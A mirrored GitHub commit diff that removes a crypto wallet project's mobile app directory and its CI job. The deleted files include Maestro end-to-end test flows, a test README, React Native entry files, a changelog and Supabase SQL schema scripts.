mirror of
https://github.com/pezkuwichain/pwap.git
synced 2026-04-28 09:37:58 +00:00
chore: remove mobile/ from monorepo, suspend CI mobile job
* chore: update exchange submodule to pex.network release + add shared images Exchange submodule advanced to include: - sweeper.js: TRC-20 JWT Bearer auth, DOT transferAll, PEZ-AH pre-fund - docker-compose.yml: pex.network defaults for VITE_API_BASE_URL and SMTP_FROM - .github/workflows/build-deploy.yml: pex.network build arg for web service Shared images added: keziyakurd, kiwi_perwerde, kurdistan_assembly, pezkuwi, satoshi_qazi_muh * chore: remove mobile/ from monorepo, suspend CI mobile job Mobile app moved to /home/mamostehp/pwap-mobile (local, suspended). Will be re-integrated when mobile development resumes. - Removed mobile/ directory entirely - Removed Mobile App job from quality-gate.yml so CI no longer blocks
This commit is contained in:
@@ -74,42 +74,6 @@ jobs:
|
||||
name: web-dist
|
||||
path: web/dist/
|
||||
|
||||
# ========================================
|
||||
# MOBILE APP - LINT & TEST
|
||||
# ========================================
|
||||
mobile:
|
||||
name: Mobile App
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: '20'
|
||||
|
||||
- name: Cache npm dependencies
|
||||
uses: actions/cache@v4
|
||||
with:
|
||||
path: mobile/node_modules
|
||||
key: ${{ runner.os }}-mobile-${{ hashFiles('mobile/package-lock.json') }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-mobile-
|
||||
|
||||
- name: Install dependencies
|
||||
working-directory: ./mobile
|
||||
run: npm install --legacy-peer-deps
|
||||
|
||||
- name: Run Linter
|
||||
working-directory: ./mobile
|
||||
run: npm run lint
|
||||
|
||||
- name: Run Tests
|
||||
working-directory: ./mobile
|
||||
run: npm run test
|
||||
|
||||
# ========================================
|
||||
# DEPLOY WEB APP TO VPS
|
||||
# ========================================
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
# Learn more https://docs.github.com/en/get-started/getting-started-with-git/ignoring-files
|
||||
|
||||
# dependencies
|
||||
node_modules/
|
||||
|
||||
# Expo
|
||||
.expo/
|
||||
dist/
|
||||
web-build/
|
||||
expo-env.d.ts
|
||||
|
||||
# Native
|
||||
.kotlin/
|
||||
*.orig.*
|
||||
*.jks
|
||||
*.p8
|
||||
*.p12
|
||||
*.key
|
||||
*.mobileprovision
|
||||
|
||||
# Metro
|
||||
.metro-health-check*
|
||||
|
||||
# debug
|
||||
npm-debug.*
|
||||
yarn-debug.*
|
||||
yarn-error.*
|
||||
|
||||
# macOS
|
||||
.DS_Store
|
||||
*.pem
|
||||
|
||||
# local env files
|
||||
.env*.local
|
||||
|
||||
# typescript
|
||||
*.tsbuildinfo
|
||||
|
||||
# generated native folders
|
||||
/ios
|
||||
/android
|
||||
|
||||
# Environment files
|
||||
.env
|
||||
.env.local
|
||||
.env.*.local
|
||||
@@ -1,32 +0,0 @@
|
||||
appId: io.pezkuwichain.wallet
|
||||
name: "E2E: Onboarding Flow"
|
||||
---
|
||||
# Welcome Screen
|
||||
- assertVisible: "Pezkuwi"
|
||||
- assertVisible: "Create Wallet"
|
||||
|
||||
# Language Selection (if visible)
|
||||
- tapOn:
|
||||
text: "English"
|
||||
optional: true
|
||||
|
||||
# Navigate to Wallet Setup
|
||||
- tapOn: "Create Wallet"
|
||||
|
||||
# Wallet Setup Screen
|
||||
- assertVisible: "Create"
|
||||
- assertVisible: "Import"
|
||||
|
||||
# Create a new wallet
|
||||
- tapOn:
|
||||
text: "Create New Wallet"
|
||||
|
||||
# Mnemonic should be shown
|
||||
- assertVisible: "Recovery Phrase"
|
||||
|
||||
# Confirm mnemonic
|
||||
- tapOn: "I've saved it"
|
||||
|
||||
# Should reach wallet screen
|
||||
- assertVisible: "HEZ"
|
||||
- assertVisible: "PEZ"
|
||||
@@ -1,35 +0,0 @@
|
||||
appId: io.pezkuwichain.wallet
|
||||
name: "E2E: Send Transaction Flow"
|
||||
---
|
||||
# Wallet Screen
|
||||
- assertVisible: "HEZ"
|
||||
|
||||
# Tap Send button
|
||||
- tapOn:
|
||||
text: "Send"
|
||||
index: 0
|
||||
|
||||
# Send Screen
|
||||
- assertVisible: "Recipient Address"
|
||||
- assertVisible: "Amount"
|
||||
|
||||
# Enter recipient address
|
||||
- tapOn:
|
||||
id: "Recipient wallet address"
|
||||
- inputText: "5FHneW46xGXgs5mUiveU4sbTyGBzmstUspZC92UhjJM694ty"
|
||||
|
||||
# Enter amount
|
||||
- tapOn:
|
||||
id: "Amount of HEZ to send"
|
||||
- inputText: "0.001"
|
||||
|
||||
# Fee should appear
|
||||
- assertVisible:
|
||||
text: "Estimated Fee"
|
||||
optional: true
|
||||
|
||||
# Send button should be enabled
|
||||
- assertVisible: "Send HEZ"
|
||||
|
||||
# Go back (don't actually send in E2E test)
|
||||
- back
|
||||
@@ -1,23 +0,0 @@
|
||||
appId: io.pezkuwichain.wallet
|
||||
name: "E2E: Receive Screen"
|
||||
---
|
||||
# From wallet screen
|
||||
- assertVisible: "HEZ"
|
||||
|
||||
# Tap Receive
|
||||
- tapOn:
|
||||
text: "Receive"
|
||||
|
||||
# Receive Screen
|
||||
- assertVisible: "Receive"
|
||||
- assertVisible: "Share your address"
|
||||
- assertVisible: "Copy Address"
|
||||
- assertVisible: "Share"
|
||||
|
||||
# QR code should be visible
|
||||
- assertVisible:
|
||||
text: "5G"
|
||||
optional: true
|
||||
|
||||
# Go back
|
||||
- back
|
||||
@@ -1,24 +0,0 @@
|
||||
appId: io.pezkuwichain.wallet
|
||||
name: "E2E: DApp Browser"
|
||||
---
|
||||
# Navigate to Apps tab
|
||||
- tapOn: "Apps"
|
||||
|
||||
# Apps Screen
|
||||
- assertVisible: "DApp Browser"
|
||||
|
||||
# Open DApp Browser
|
||||
- tapOn: "DApp Browser"
|
||||
|
||||
# DApp Browser Screen
|
||||
- assertVisible: "DApp Browser"
|
||||
- assertVisible:
|
||||
text: "Search or enter URL"
|
||||
optional: true
|
||||
|
||||
# Bookmarked DApps should be visible
|
||||
- assertVisible: "Polkadot.js Apps"
|
||||
- assertVisible: "Pezkuwi Portal"
|
||||
|
||||
# Go back
|
||||
- back
|
||||
@@ -1,28 +0,0 @@
|
||||
appId: io.pezkuwichain.wallet
|
||||
name: "E2E: Settings & Network Switch"
|
||||
---
|
||||
# From wallet screen
|
||||
- assertVisible: "HEZ"
|
||||
|
||||
# Tap network selector
|
||||
- tapOn:
|
||||
text: "Pezkuwi Mainnet"
|
||||
optional: true
|
||||
|
||||
# Network selector modal should open
|
||||
- assertVisible:
|
||||
text: "Select Network"
|
||||
optional: true
|
||||
|
||||
# Networks should be listed
|
||||
- assertVisible:
|
||||
text: "Pezkuwi Mainnet"
|
||||
optional: true
|
||||
- assertVisible:
|
||||
text: "Dicle Testnet"
|
||||
optional: true
|
||||
|
||||
# Close without changing
|
||||
- tapOn:
|
||||
text: "Close"
|
||||
optional: true
|
||||
@@ -1,34 +0,0 @@
|
||||
# E2E Tests (Maestro)
|
||||
|
||||
## Setup
|
||||
```bash
|
||||
# Install Maestro CLI
|
||||
curl -Ls "https://get.maestro.mobile.dev" | bash
|
||||
|
||||
# Or via npm
|
||||
npm install -g maestro
|
||||
```
|
||||
|
||||
## Running Tests
|
||||
```bash
|
||||
# Single test
|
||||
maestro test .maestro/01-onboarding.yaml
|
||||
|
||||
# All tests
|
||||
maestro test .maestro/
|
||||
|
||||
# With connected device
|
||||
adb devices # ensure device is connected
|
||||
maestro test .maestro/
|
||||
```
|
||||
|
||||
## Test Flows
|
||||
1. **01-onboarding** — Welcome → Create Wallet → Mnemonic → Dashboard
|
||||
2. **02-send-flow** — Wallet → Send → Enter address/amount → Verify fee
|
||||
3. **03-receive-flow** — Wallet → Receive → QR code visible → Copy/Share
|
||||
4. **04-dapp-browser** — Apps → DApp Browser → Bookmarks visible
|
||||
5. **05-settings-network** — Wallet → Network selector → Networks listed
|
||||
|
||||
## Prerequisites
|
||||
- App must be installed on device/emulator
|
||||
- For tests requiring wallet: run 01-onboarding first
|
||||
@@ -1,29 +0,0 @@
|
||||
{
|
||||
"types": [
|
||||
{ "type": "feat", "section": "Features" },
|
||||
{ "type": "fix", "section": "Bug Fixes" },
|
||||
{ "type": "chore", "section": "Chores", "hidden": false },
|
||||
{ "type": "docs", "section": "Documentation", "hidden": false },
|
||||
{ "type": "style", "section": "Styling", "hidden": true },
|
||||
{ "type": "refactor", "section": "Code Refactoring", "hidden": false },
|
||||
{ "type": "perf", "section": "Performance Improvements" },
|
||||
{ "type": "test", "section": "Tests", "hidden": false },
|
||||
{ "type": "build", "section": "Build System", "hidden": false },
|
||||
{ "type": "ci", "section": "Continuous Integration", "hidden": false }
|
||||
],
|
||||
"bumpFiles": [
|
||||
{
|
||||
"filename": "package.json",
|
||||
"type": "json"
|
||||
},
|
||||
{
|
||||
"filename": "app.json",
|
||||
"updater": "scripts/version-updater.cjs"
|
||||
}
|
||||
],
|
||||
"commitUrlFormat": "https://github.com/pezkuwichain/pwap/commit/{{hash}}",
|
||||
"compareUrlFormat": "https://github.com/pezkuwichain/pwap/compare/{{previousTag}}...{{currentTag}}",
|
||||
"issueUrlFormat": "https://github.com/pezkuwichain/pwap/issues/{{id}}",
|
||||
"tagPrefix": "mobile-v",
|
||||
"header": "# Pezkuwi Mobile Changelog\n\nAll notable changes to the Pezkuwi Mobile application will be documented in this file.\n"
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
import React from 'react';
|
||||
import { StatusBar } from 'expo-status-bar';
|
||||
import { ErrorBoundary } from './src/components/ErrorBoundary';
|
||||
import { AuthProvider } from './src/contexts/AuthContext';
|
||||
import { PezkuwiProvider } from './src/contexts/PezkuwiContext';
|
||||
import { BiometricAuthProvider } from './src/contexts/BiometricAuthContext';
|
||||
import { ThemeProvider } from './src/contexts/ThemeContext';
|
||||
import AppNavigator from './src/navigation/AppNavigator';
|
||||
|
||||
export default function App() {
|
||||
return (
|
||||
<ErrorBoundary>
|
||||
<ThemeProvider>
|
||||
<AuthProvider>
|
||||
<PezkuwiProvider>
|
||||
<BiometricAuthProvider>
|
||||
<StatusBar style="auto" />
|
||||
<AppNavigator />
|
||||
</BiometricAuthProvider>
|
||||
</PezkuwiProvider>
|
||||
</AuthProvider>
|
||||
</ThemeProvider>
|
||||
</ErrorBoundary>
|
||||
);
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
import React from 'react';
|
||||
import { StatusBar } from 'expo-status-bar';
|
||||
import { ErrorBoundary } from './src/components/ErrorBoundary';
|
||||
import { AuthProvider } from './src/contexts/AuthContext';
|
||||
import { PezkuwiProvider } from './src/contexts/PezkuwiContext';
|
||||
import { BiometricAuthProvider } from './src/contexts/BiometricAuthContext';
|
||||
import { ThemeProvider } from './src/contexts/ThemeContext';
|
||||
import AppNavigator from './src/navigation/AppNavigator';
|
||||
|
||||
export default function App() {
|
||||
return (
|
||||
<ErrorBoundary>
|
||||
<ThemeProvider>
|
||||
<AuthProvider>
|
||||
<PezkuwiProvider>
|
||||
<BiometricAuthProvider>
|
||||
<StatusBar style="auto" />
|
||||
<AppNavigator />
|
||||
</BiometricAuthProvider>
|
||||
</PezkuwiProvider>
|
||||
</AuthProvider>
|
||||
</ThemeProvider>
|
||||
</ErrorBoundary>
|
||||
);
|
||||
}
|
||||
@@ -1,27 +0,0 @@
|
||||
# Pezkuwi Mobile Changelog
|
||||
|
||||
All notable changes to the Pezkuwi Mobile application will be documented in this file.
|
||||
|
||||
## [1.0.0] - 2026-01-19
|
||||
|
||||
### Features
|
||||
|
||||
- Welcome screen with language selection
|
||||
- Multi-language support (EN, TR, KMR, CKB, AR, FA)
|
||||
- RTL support for Arabic, Central Kurdish, and Persian
|
||||
- Authentication (Sign In/Sign Up)
|
||||
- Main dashboard with 5-tab bottom navigation
|
||||
- Wallet integration with @pezkuwi/api
|
||||
- Live blockchain data display (HEZ, PEZ, USDT)
|
||||
- Send/receive transaction functionality
|
||||
- QR code generation and scanning
|
||||
- Biometric authentication (Face ID / Fingerprint)
|
||||
- Secure storage for sensitive data
|
||||
- WebView SSO integration
|
||||
|
||||
### Chores
|
||||
|
||||
- Initial project setup with Expo SDK 54
|
||||
- Jest testing configuration with 35%+ coverage
|
||||
- ESLint configuration
|
||||
- CI/CD pipeline setup
|
||||
@@ -1,117 +0,0 @@
|
||||
-- ==================================================
|
||||
-- Schema Compatibility Fix
|
||||
-- ==================================================
|
||||
-- This SQL adds missing columns to existing tables
|
||||
-- to make them compatible with mobile app
|
||||
-- ==================================================
|
||||
|
||||
-- 1. Add missing columns to forum_discussions
|
||||
ALTER TABLE forum_discussions
|
||||
ADD COLUMN IF NOT EXISTS likes INTEGER DEFAULT 0;
|
||||
|
||||
-- Update existing rows
|
||||
UPDATE forum_discussions SET likes = 0 WHERE likes IS NULL;
|
||||
|
||||
-- 2. Add missing columns to forum_replies
|
||||
ALTER TABLE forum_replies
|
||||
ADD COLUMN IF NOT EXISTS likes INTEGER DEFAULT 0;
|
||||
|
||||
-- Update existing rows
|
||||
UPDATE forum_replies SET likes = 0 WHERE likes IS NULL;
|
||||
|
||||
-- 3. Fix notifications table
|
||||
-- Check if user_id exists and rename to user_address
|
||||
DO $$
|
||||
BEGIN
|
||||
-- If user_id exists, rename it to user_address
|
||||
IF EXISTS (
|
||||
SELECT 1 FROM information_schema.columns
|
||||
WHERE table_name = 'notifications'
|
||||
AND column_name = 'user_id'
|
||||
) THEN
|
||||
ALTER TABLE notifications RENAME COLUMN user_id TO user_address;
|
||||
END IF;
|
||||
|
||||
-- If user_address still doesn't exist, add it
|
||||
IF NOT EXISTS (
|
||||
SELECT 1 FROM information_schema.columns
|
||||
WHERE table_name = 'notifications'
|
||||
AND column_name = 'user_address'
|
||||
) THEN
|
||||
ALTER TABLE notifications ADD COLUMN user_address VARCHAR(100);
|
||||
END IF;
|
||||
|
||||
-- Add other missing columns
|
||||
IF NOT EXISTS (
|
||||
SELECT 1 FROM information_schema.columns
|
||||
WHERE table_name = 'notifications'
|
||||
AND column_name = 'type'
|
||||
) THEN
|
||||
ALTER TABLE notifications ADD COLUMN type VARCHAR(20) DEFAULT 'system';
|
||||
END IF;
|
||||
|
||||
IF NOT EXISTS (
|
||||
SELECT 1 FROM information_schema.columns
|
||||
WHERE table_name = 'notifications'
|
||||
AND column_name = 'title'
|
||||
) THEN
|
||||
ALTER TABLE notifications ADD COLUMN title VARCHAR(200);
|
||||
END IF;
|
||||
|
||||
IF NOT EXISTS (
|
||||
SELECT 1 FROM information_schema.columns
|
||||
WHERE table_name = 'notifications'
|
||||
AND column_name = 'read'
|
||||
) THEN
|
||||
ALTER TABLE notifications ADD COLUMN read BOOLEAN DEFAULT FALSE;
|
||||
END IF;
|
||||
|
||||
IF NOT EXISTS (
|
||||
SELECT 1 FROM information_schema.columns
|
||||
WHERE table_name = 'notifications'
|
||||
AND column_name = 'metadata'
|
||||
) THEN
|
||||
ALTER TABLE notifications ADD COLUMN metadata JSONB;
|
||||
END IF;
|
||||
END $$;
|
||||
|
||||
-- ==================================================
|
||||
-- Verify Fix
|
||||
-- ==================================================
|
||||
|
||||
-- Check forum_discussions
|
||||
SELECT 'forum_discussions' as table_name,
|
||||
column_name,
|
||||
data_type,
|
||||
is_nullable
|
||||
FROM information_schema.columns
|
||||
WHERE table_name = 'forum_discussions'
|
||||
AND column_name IN ('likes', 'created_at', 'updated_at')
|
||||
ORDER BY ordinal_position;
|
||||
|
||||
-- Check forum_replies
|
||||
SELECT 'forum_replies' as table_name,
|
||||
column_name,
|
||||
data_type,
|
||||
is_nullable
|
||||
FROM information_schema.columns
|
||||
WHERE table_name = 'forum_replies'
|
||||
AND column_name IN ('likes', 'created_at')
|
||||
ORDER BY ordinal_position;
|
||||
|
||||
-- Check notifications
|
||||
SELECT 'notifications' as table_name,
|
||||
column_name,
|
||||
data_type,
|
||||
is_nullable
|
||||
FROM information_schema.columns
|
||||
WHERE table_name = 'notifications'
|
||||
AND column_name IN ('user_address', 'type', 'title', 'message', 'read', 'metadata', 'created_at')
|
||||
ORDER BY ordinal_position;
|
||||
|
||||
-- ==================================================
|
||||
-- SUCCESS MESSAGE
|
||||
-- ==================================================
|
||||
|
||||
SELECT '✅ Schema compatibility fix complete!' as status;
|
||||
SELECT 'Run check_schema_compatibility.cjs again to verify' as next_step;
|
||||
@@ -1,276 +0,0 @@
|
||||
-- ==================================================
|
||||
-- Pezkuwi Mobile App - Supabase Database Schema
|
||||
-- ==================================================
|
||||
-- This schema creates all tables needed for web2 features:
|
||||
-- - Forum (discussions, categories, replies)
|
||||
-- - P2P Platform (ads, trades)
|
||||
-- - Notifications
|
||||
-- - Referrals
|
||||
-- ==================================================
|
||||
|
||||
-- Enable UUID extension
|
||||
CREATE EXTENSION IF NOT EXISTS "uuid-ossp";
|
||||
|
||||
-- ==================================================
|
||||
-- FORUM TABLES
|
||||
-- ==================================================
|
||||
|
||||
-- Forum Categories
|
||||
CREATE TABLE IF NOT EXISTS forum_categories (
|
||||
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
||||
name VARCHAR(100) NOT NULL UNIQUE,
|
||||
description TEXT,
|
||||
icon VARCHAR(50),
|
||||
created_at TIMESTAMPTZ DEFAULT NOW(),
|
||||
updated_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
|
||||
-- Forum Discussions (Threads)
|
||||
CREATE TABLE IF NOT EXISTS forum_discussions (
|
||||
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
||||
category_id UUID NOT NULL REFERENCES forum_categories(id) ON DELETE CASCADE,
|
||||
author_address VARCHAR(100) NOT NULL,
|
||||
author_name VARCHAR(100),
|
||||
title VARCHAR(200) NOT NULL,
|
||||
content TEXT NOT NULL,
|
||||
likes INTEGER DEFAULT 0,
|
||||
replies_count INTEGER DEFAULT 0,
|
||||
created_at TIMESTAMPTZ DEFAULT NOW(),
|
||||
updated_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
|
||||
-- Forum Replies
|
||||
CREATE TABLE IF NOT EXISTS forum_replies (
|
||||
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
||||
discussion_id UUID NOT NULL REFERENCES forum_discussions(id) ON DELETE CASCADE,
|
||||
author_address VARCHAR(100) NOT NULL,
|
||||
author_name VARCHAR(100),
|
||||
content TEXT NOT NULL,
|
||||
likes INTEGER DEFAULT 0,
|
||||
created_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
|
||||
-- ==================================================
|
||||
-- P2P PLATFORM TABLES
|
||||
-- ==================================================
|
||||
|
||||
-- P2P Ads
|
||||
CREATE TABLE IF NOT EXISTS p2p_ads (
|
||||
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
||||
user_address VARCHAR(100) NOT NULL,
|
||||
type VARCHAR(10) NOT NULL CHECK (type IN ('buy', 'sell')),
|
||||
merchant_name VARCHAR(100) NOT NULL,
|
||||
rating DECIMAL(3,2) DEFAULT 0.00 CHECK (rating >= 0 AND rating <= 5),
|
||||
trades_count INTEGER DEFAULT 0,
|
||||
price DECIMAL(18,2) NOT NULL,
|
||||
currency VARCHAR(10) NOT NULL DEFAULT 'USD',
|
||||
amount VARCHAR(50) NOT NULL,
|
||||
min_limit VARCHAR(50) NOT NULL,
|
||||
max_limit VARCHAR(50) NOT NULL,
|
||||
payment_methods TEXT[] NOT NULL,
|
||||
status VARCHAR(20) NOT NULL DEFAULT 'active' CHECK (status IN ('active', 'inactive', 'completed')),
|
||||
created_at TIMESTAMPTZ DEFAULT NOW(),
|
||||
updated_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
|
||||
-- P2P Trades
|
||||
CREATE TABLE IF NOT EXISTS p2p_trades (
|
||||
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
||||
ad_id UUID NOT NULL REFERENCES p2p_ads(id) ON DELETE CASCADE,
|
||||
buyer_address VARCHAR(100) NOT NULL,
|
||||
seller_address VARCHAR(100) NOT NULL,
|
||||
amount VARCHAR(50) NOT NULL,
|
||||
price DECIMAL(18,2) NOT NULL,
|
||||
total DECIMAL(18,2) NOT NULL,
|
||||
status VARCHAR(20) NOT NULL DEFAULT 'pending' CHECK (status IN ('pending', 'paid', 'confirmed', 'disputed', 'completed', 'cancelled')),
|
||||
payment_method VARCHAR(100) NOT NULL,
|
||||
escrow_address VARCHAR(100),
|
||||
chat_messages JSONB DEFAULT '[]'::jsonb,
|
||||
created_at TIMESTAMPTZ DEFAULT NOW(),
|
||||
updated_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
|
||||
-- ==================================================
|
||||
-- NOTIFICATIONS TABLE
|
||||
-- ==================================================
|
||||
|
||||
CREATE TABLE IF NOT EXISTS notifications (
|
||||
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
||||
user_address VARCHAR(100) NOT NULL,
|
||||
type VARCHAR(20) NOT NULL CHECK (type IN ('transaction', 'governance', 'p2p', 'referral', 'system')),
|
||||
title VARCHAR(200) NOT NULL,
|
||||
message TEXT NOT NULL,
|
||||
read BOOLEAN DEFAULT FALSE,
|
||||
metadata JSONB,
|
||||
created_at TIMESTAMPTZ DEFAULT NOW()
|
||||
);
|
||||
|
||||
-- ==================================================
|
||||
-- REFERRALS TABLE
|
||||
-- ==================================================
|
||||
|
||||
CREATE TABLE IF NOT EXISTS referrals (
|
||||
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
||||
referrer_address VARCHAR(100) NOT NULL,
|
||||
referee_address VARCHAR(100) NOT NULL UNIQUE,
|
||||
status VARCHAR(20) NOT NULL DEFAULT 'pending' CHECK (status IN ('pending', 'active', 'completed')),
|
||||
earnings DECIMAL(18,2) DEFAULT 0.00,
|
||||
created_at TIMESTAMPTZ DEFAULT NOW(),
|
||||
updated_at TIMESTAMPTZ DEFAULT NOW(),
|
||||
UNIQUE(referrer_address, referee_address)
|
||||
);
|
||||
|
||||
-- ==================================================
|
||||
-- INDEXES FOR PERFORMANCE
|
||||
-- ==================================================
|
||||
|
||||
-- Forum indexes
|
||||
CREATE INDEX IF NOT EXISTS idx_forum_discussions_category ON forum_discussions(category_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_forum_discussions_author ON forum_discussions(author_address);
|
||||
CREATE INDEX IF NOT EXISTS idx_forum_discussions_created ON forum_discussions(created_at DESC);
|
||||
CREATE INDEX IF NOT EXISTS idx_forum_replies_discussion ON forum_replies(discussion_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_forum_replies_author ON forum_replies(author_address);
|
||||
|
||||
-- P2P indexes
|
||||
CREATE INDEX IF NOT EXISTS idx_p2p_ads_user ON p2p_ads(user_address);
|
||||
CREATE INDEX IF NOT EXISTS idx_p2p_ads_type ON p2p_ads(type);
|
||||
CREATE INDEX IF NOT EXISTS idx_p2p_ads_status ON p2p_ads(status);
|
||||
CREATE INDEX IF NOT EXISTS idx_p2p_ads_created ON p2p_ads(created_at DESC);
|
||||
CREATE INDEX IF NOT EXISTS idx_p2p_trades_ad ON p2p_trades(ad_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_p2p_trades_buyer ON p2p_trades(buyer_address);
|
||||
CREATE INDEX IF NOT EXISTS idx_p2p_trades_seller ON p2p_trades(seller_address);
|
||||
CREATE INDEX IF NOT EXISTS idx_p2p_trades_status ON p2p_trades(status);
|
||||
|
||||
-- Notifications indexes
|
||||
CREATE INDEX IF NOT EXISTS idx_notifications_user ON notifications(user_address);
|
||||
CREATE INDEX IF NOT EXISTS idx_notifications_read ON notifications(read);
|
||||
CREATE INDEX IF NOT EXISTS idx_notifications_created ON notifications(created_at DESC);
|
||||
|
||||
-- Referrals indexes
|
||||
CREATE INDEX IF NOT EXISTS idx_referrals_referrer ON referrals(referrer_address);
|
||||
CREATE INDEX IF NOT EXISTS idx_referrals_referee ON referrals(referee_address);
|
||||
CREATE INDEX IF NOT EXISTS idx_referrals_status ON referrals(status);
|
||||
|
||||
-- ==================================================
|
||||
-- ROW LEVEL SECURITY (RLS) POLICIES
|
||||
-- ==================================================
|
||||
|
||||
-- Enable RLS on all tables
|
||||
ALTER TABLE forum_categories ENABLE ROW LEVEL SECURITY;
|
||||
ALTER TABLE forum_discussions ENABLE ROW LEVEL SECURITY;
|
||||
ALTER TABLE forum_replies ENABLE ROW LEVEL SECURITY;
|
||||
ALTER TABLE p2p_ads ENABLE ROW LEVEL SECURITY;
|
||||
ALTER TABLE p2p_trades ENABLE ROW LEVEL SECURITY;
|
||||
ALTER TABLE notifications ENABLE ROW LEVEL SECURITY;
|
||||
ALTER TABLE referrals ENABLE ROW LEVEL SECURITY;
|
||||
|
||||
-- Forum policies (public read, authenticated write)
|
||||
CREATE POLICY "Forum categories are viewable by everyone" ON forum_categories FOR SELECT USING (true);
|
||||
CREATE POLICY "Forum discussions are viewable by everyone" ON forum_discussions FOR SELECT USING (true);
|
||||
CREATE POLICY "Forum discussions can be created by anyone" ON forum_discussions FOR INSERT WITH CHECK (true);
|
||||
CREATE POLICY "Forum discussions can be updated by author" ON forum_discussions FOR UPDATE USING (author_address = current_setting('request.jwt.claims', true)::json->>'address');
|
||||
CREATE POLICY "Forum replies are viewable by everyone" ON forum_replies FOR SELECT USING (true);
|
||||
CREATE POLICY "Forum replies can be created by anyone" ON forum_replies FOR INSERT WITH CHECK (true);
|
||||
|
||||
-- P2P policies (users can only see active ads and their own trades)
|
||||
CREATE POLICY "P2P ads are viewable by everyone" ON p2p_ads FOR SELECT USING (status = 'active' OR user_address = current_setting('request.jwt.claims', true)::json->>'address');
|
||||
CREATE POLICY "P2P ads can be created by anyone" ON p2p_ads FOR INSERT WITH CHECK (true);
|
||||
CREATE POLICY "P2P ads can be updated by owner" ON p2p_ads FOR UPDATE USING (user_address = current_setting('request.jwt.claims', true)::json->>'address');
|
||||
CREATE POLICY "P2P trades are viewable by participants" ON p2p_trades FOR SELECT USING (
|
||||
buyer_address = current_setting('request.jwt.claims', true)::json->>'address' OR
|
||||
seller_address = current_setting('request.jwt.claims', true)::json->>'address'
|
||||
);
|
||||
CREATE POLICY "P2P trades can be created by anyone" ON p2p_trades FOR INSERT WITH CHECK (true);
|
||||
CREATE POLICY "P2P trades can be updated by participants" ON p2p_trades FOR UPDATE USING (
|
||||
buyer_address = current_setting('request.jwt.claims', true)::json->>'address' OR
|
||||
seller_address = current_setting('request.jwt.claims', true)::json->>'address'
|
||||
);
|
||||
|
||||
-- Notifications policies (users can only see their own)
|
||||
CREATE POLICY "Users can view their own notifications" ON notifications FOR SELECT USING (user_address = current_setting('request.jwt.claims', true)::json->>'address');
|
||||
CREATE POLICY "Users can update their own notifications" ON notifications FOR UPDATE USING (user_address = current_setting('request.jwt.claims', true)::json->>'address');
|
||||
|
||||
-- Referrals policies (users can see their own referrals)
|
||||
CREATE POLICY "Users can view their own referrals" ON referrals FOR SELECT USING (
|
||||
referrer_address = current_setting('request.jwt.claims', true)::json->>'address' OR
|
||||
referee_address = current_setting('request.jwt.claims', true)::json->>'address'
|
||||
);
|
||||
CREATE POLICY "Referrals can be created by anyone" ON referrals FOR INSERT WITH CHECK (true);
|
||||
|
||||
-- ==================================================
|
||||
-- SAMPLE DATA FOR TESTING
|
||||
-- ==================================================
|
||||
|
||||
-- Insert sample forum categories
|
||||
INSERT INTO forum_categories (name, description, icon) VALUES
|
||||
('General', 'General discussions about PezkuwiChain', '💬'),
|
||||
('Governance', 'Proposals, voting, and governance topics', '🏛️'),
|
||||
('Technical', 'Technical discussions and development', '💻'),
|
||||
('Trading', 'P2P trading and market discussions', '📈'),
|
||||
('Support', 'Get help and support', '❓')
|
||||
ON CONFLICT (name) DO NOTHING;
|
||||
|
||||
-- ==================================================
|
||||
-- FUNCTIONS AND TRIGGERS
|
||||
-- ==================================================
|
||||
|
||||
-- Function to update updated_at timestamp
|
||||
CREATE OR REPLACE FUNCTION update_updated_at_column()
|
||||
RETURNS TRIGGER AS $$
|
||||
BEGIN
|
||||
NEW.updated_at = NOW();
|
||||
RETURN NEW;
|
||||
END;
|
||||
$$ language 'plpgsql';
|
||||
|
||||
-- Triggers for updated_at
|
||||
CREATE TRIGGER update_forum_discussions_updated_at BEFORE UPDATE ON forum_discussions FOR EACH ROW EXECUTE FUNCTION update_updated_at_column();
|
||||
CREATE TRIGGER update_p2p_ads_updated_at BEFORE UPDATE ON p2p_ads FOR EACH ROW EXECUTE FUNCTION update_updated_at_column();
|
||||
CREATE TRIGGER update_p2p_trades_updated_at BEFORE UPDATE ON p2p_trades FOR EACH ROW EXECUTE FUNCTION update_updated_at_column();
|
||||
CREATE TRIGGER update_referrals_updated_at BEFORE UPDATE ON referrals FOR EACH ROW EXECUTE FUNCTION update_updated_at_column();
|
||||
|
||||
-- Function to increment replies_count
|
||||
CREATE OR REPLACE FUNCTION increment_replies_count()
|
||||
RETURNS TRIGGER AS $$
|
||||
BEGIN
|
||||
UPDATE forum_discussions
|
||||
SET replies_count = replies_count + 1
|
||||
WHERE id = NEW.discussion_id;
|
||||
RETURN NEW;
|
||||
END;
|
||||
$$ language 'plpgsql';
|
||||
|
||||
-- Trigger for replies count
|
||||
CREATE TRIGGER increment_forum_replies_count
|
||||
AFTER INSERT ON forum_replies
|
||||
FOR EACH ROW
|
||||
EXECUTE FUNCTION increment_replies_count();
|
||||
|
||||
-- ==================================================
|
||||
-- GRANT PERMISSIONS
|
||||
-- ==================================================
|
||||
|
||||
-- Grant usage on all tables to anon and authenticated users
|
||||
GRANT USAGE ON SCHEMA public TO anon, authenticated;
|
||||
